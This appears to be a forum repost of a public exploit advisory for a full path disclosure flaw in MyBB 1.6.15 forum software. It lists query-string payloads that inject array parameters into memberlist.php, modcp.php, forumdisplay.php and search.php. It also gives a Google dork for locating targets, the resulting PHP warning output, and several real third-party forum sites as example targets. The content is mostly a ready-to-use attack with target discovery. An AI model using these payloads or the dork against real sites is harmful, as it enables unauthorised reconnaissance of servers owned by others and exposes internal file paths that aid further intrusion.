MyBB 1.6.15 ~ Full Path Disclosure

Selamün Aleyküm Arkadaşlar ,

https://cxsecurity.com/issue/WLB-2014080042
http://www.exploit4arab.net/exploits/969

###################################################

# Title: MyBB 1.6.15~Full Path Disclosure
# Google Dork: intitle:"Powered By MyBB"
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://www.mybb.com/downloads
# Version: 1.6.15 - Latest Version

##################################################

[~#~] Exploit:
memberlist.php?sort[$victor]=getdaily
modcp.php?action=ipsearch&ipaddress[$victor]=getdaily
forumdisplay.php?selectall=&fid=2&sortby=lastpost&order[$victor]=getdaily
search.php?action[$victor]=getdaily

[~#~] Demo:
http://community.mybb.com/memberlist.php?sort[$victor]=getdaily

[~#~] Error:
Warning [2] strtolower() expects parameter 1 to be string, array given - Line: 58 - File: memberlist.php PHP 5.4.28-1~dotdeb.1 (Linux)
Warning [2] mb_strtolower() expects parameter 1 to be string, array given - Line: 4566 - File: inc/functions.php PHP 5.4.28-1~dotdeb.1 (Linux)

[~#~] Example:
http://mybb.co.il/forum/memberlist.php?sort[$victor]=getdaily
http://mybb.co.il/forum/forumdisplay.php...post&order[$victor]=getdaily
http://www.mybb.fr/forumdisplay.php?sele...post&order[$victor]=getdaily
http://destek.mybb.com.tr/forumdisplay.p...post&order[$victor]=getdaily
http://www.mybb.biz/forumdisplay.php?sel...post&order[$victor]=getdaily


Selametle Arkadaşlar